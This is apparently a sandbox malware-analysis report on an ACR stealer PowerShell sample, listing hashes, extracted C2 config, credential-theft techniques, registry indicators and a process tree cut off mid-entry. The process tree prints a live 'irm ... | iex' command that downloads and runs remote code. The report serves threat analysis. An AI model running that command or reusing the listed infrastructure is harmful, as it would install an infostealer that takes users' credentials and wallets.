acrstealer | 61c24b0138c0b68dc54b2d8667ce6a37c6857aff443fca11d4aa39c3332518a3

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
475333927k.ps1
Size 93KB
Sample260916-pg3bzazerg
SHA256 61c24b0138c0b68dc54b2d8667ce6a37c6857aff443fca11d4aa39c3332518a3
MD5 da7b7b7a4d7b7c0f7da53a320debc2df
SHA1 4fe9a58b141e7c4379cce79afc895cd82cdb9b8d
SHA512 11d4d0a407b9dcbd75a6ab9f57c3987b518a4ff88a57ec17e7abc938983925c42c97d30918f5630527834dc0e012ff8eaa25416702baca6928e657f1f688b389
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdQ9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUncu
TLSH
T19E9323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer persistence spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.3.10-alpha1

logs.primebyte.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd851-d0e2-7805-ae09-2dd1daa78960
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 400 created 3296	400	rundll32.exe	56
PID 400 created 3296	400	rundll32.exe	56
PID 400 created 3296	400	rundll32.exe	56

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4576	powershell.exe
6	4576	powershell.exe
9	400	rundll32.exe
14	400	rundll32.exe
15	400	rundll32.exe
183	400	rundll32.exe
184	400	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe
4576	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1988	msedge.exe
208	chrome.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134340347691973844"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-681733028-2344970462-962213935-1000\{1C32466F-30FD-4BBC-8917-2448EB864888}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
400	rundll32.exe
400	rundll32.exe
400	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
2332	msedge.exe
2332	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe
Token: SeShutdownPrivilege	4320	chrome.exe
Token: SeCreatePagefilePrivilege	4320	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
4320	chrome.exe
2332	msedge.exe
4500	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2700	2572	powershell.exe	88
PID 2700 wrote to memory of 4128	2700	csc.exe	89
PID 2572 wrote to memory of 1148	2572	powershell.exe	90
PID 1148 wrote to memory of 3520	1148	csc.exe	91
PID 2572 wrote to memory of 4576	2572	powershell.exe	92
PID 4576 wrote to memory of 400	4576	powershell.exe	95
PID 4576 wrote to memory of 400	4576	powershell.exe	95
PID 400 wrote to memory of 4320	400	rundll32.exe	99
PID 4320 wrote to memory of 2908	4320	chrome.exe	100
PID 4320 wrote to memory of 1480	4320	chrome.exe	101
PID 4320 wrote to memory of 1480	4320	chrome.exe	101
PID 4320 wrote to memory of 208	4320	chrome.exe	102
PID 4320 wrote to memory of 2520	4320	chrome.exe	103
PID 4320 wrote to memory of 2520	4320	chrome.exe	103
PID 4320 wrote to memory of 3240	4320	chrome.exe	105
PID 4320 wrote to memory of 3240	4320	chrome.exe	105
PID 4320 wrote to memory of 4948	4320	chrome.exe	106
PID 4320 wrote to memory of 4948	4320	chrome.exe	106
PID 4320 wrote to memory of 3960	4320	chrome.exe	107
PID 4320 wrote to memory of 3960	4320	chrome.exe	107
PID 4320 wrote to memory of 672	4320	chrome.exe	108
PID 4320 wrote to memory of 672	4320	chrome.exe	108
PID 4320 wrote to memory of 3060	4320	chrome.exe	110
PID 400 wrote to memory of 2332	400	rundll32.exe	112
PID 2332 wrote to memory of 960	2332	msedge.exe	113
PID 2332 wrote to memory of 1988	2332	msedge.exe	114
PID 2332 wrote to memory of 5176	2332	msedge.exe	115
PID 2332 wrote to memory of 5176	2332	msedge.exe	115
PID 2332 wrote to memory of 5176	2332	msedge.exe	115
PID 2332 wrote to memory of 6124	2332	msedge.exe	116
PID 2332 wrote to memory of 6124	2332	msedge.exe	116
PID 2332 wrote to memory of 1040	2332	msedge.exe	117
PID 2332 wrote to memory of 1040	2332	msedge.exe	117
PID 2332 wrote to memory of 1040	2332	msedge.exe	117
PID 2332 wrote to memory of 2820	2332	msedge.exe	118
PID 2332 wrote to memory of 2820	2332	msedge.exe	118
PID 2332 wrote to memory of 2820	2332	msedge.exe	118
PID 2332 wrote to memory of 3704	2332	msedge.exe	122
PID 2332 wrote to memory of 776	2332	msedge.exe	123
PID 2332 wrote to memory of 3704	2332	msedge.exe	122
PID 2332 wrote to memory of 776	2332	msedge.exe	123
PID 2332 wrote to memory of 1428	2332	msedge.exe	126
PID 4616 wrote to memory of 4500	4616	firefox.exe	130
PID 4616 wrote to memory of 4500	4616	firefox.exe	130
PID 4500 wrote to memory of 4480	4500	firefox.exe	131
PID 4500 wrote to memory of 4480	4500	firefox.exe	131
PID 4500 wrote to memory of 4480	4500	firefox.exe	131
PID 4500 wrote to memory of 4480	4500	firefox.exe	131
PID 4500 wrote to memory of 5160	4500	firefox.exe	133
PID 4500 wrote to memory of 5160	4500	firefox.exe	133
PID 4500 wrote to memory of 5160	4500	firefox.exe	133
PID 4500 wrote to memory of 5160	4500	firefox.exe	133
PID 4500 wrote to memory of 1724	4500	firefox.exe	134
PID 4500 wrote to memory of 1724	4500	firefox.exe	134
PID 4500 wrote to memory of 1724	4500	firefox.exe	134
PID 4500 wrote to memory of 4988	4500	firefox.exe	135
PID 4500 wrote to memory of 4988	4500	firefox.exe	135
PID 4500 wrote to memory of 4988	4500	firefox.exe	135
PID 4500 wrote to memory of 4988	4500	firefox.exe	135
PID 4500 wrote to memory of 5024	4500	firefox.exe	136
PID 4500 wrote to memory of 5024	4500	firefox.exe	136
PID 4500 wrote to memory of 5024	4500	firefox.exe	136
PID 4500 wrote to memory of 5024	4500	firefox.exe	136
PID 4500 wrote to memory of 4844	4500	firefox.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\475333927k.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zgsbtg0i\zgsbtg0i.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0DA.tmp" "c:\Users\Admin\AppData\Local\Temp\zgsbtg0i\CSC53046EE3B0AE409291659660EBFB6B11.TMP"
      4⤵
      PID:4128
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\okzmtznh\okzmtznh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1148
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1D4.tmp" "c:\Users\Admin\AppData\Local\Temp\okzmtznh\CSCB0ACF58353954F09A9B37C2B1B882B5C.TMP"
      4⤵
      PID:3520
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/19875567137/465636664593hfgd/refs/heads/main/dfsgh64537-87 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:400
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb5f74c728,0x7ffb5f74c734,0x7ffb5f74c740
    3⤵
    PID:2908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1772,i,6637211754942190848,8141972288862268722,262144 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2008 /prefetch:2
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,2179712064714961092,8287212443174013752,524288 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1928 /prefetch:3
    3⤵
    - System Time Discovery
    PID:208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,1902259183266100905,16014280849477401392,524288 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2252 /prefetch:8
    3⤵
    PID:2520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,4106020242862177585,9838413064186257345,2097152 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,12902439393821975367,12060076842071000560,2097152 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:4948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4124,i,6259847461411329622,12541535261539955860,2097152 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4140 /prefetch:2
    3⤵
    PID:3960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4576,i,15669346707336553419,7565336746619980181,2097152 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4540 /prefetch:1
    3⤵
    PID:672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5396,i,293722740415232817,8626668026023498867,524288 --field-trial-handle=2012,i,16364657748213493045,10562743909584083584,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5388 /prefetch:8
    3⤵
    PID:3060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffb583fc188,0x7ffb583fc194,0x7ffb583fc1a0
    3⤵
    PID:960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1936,i,130079266643287935,9086739390971867322,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1728,i,9582898239037368589,9849097842039262111,262144 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:2
    3⤵
    PID:5176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,16677268688584418344,13482410928799059044,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:8
    3⤵
    PID:6124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3392,i,8882419574118556298,12479826249801802510,2097152 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
    3⤵
    PID:1040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3396,i,10273111075832788796,5986870829665439234,2097152 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
    3⤵
    PID:2820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4876,i,9731086781692618516,6210796074549816940,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:8
    3⤵
    PID:3704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
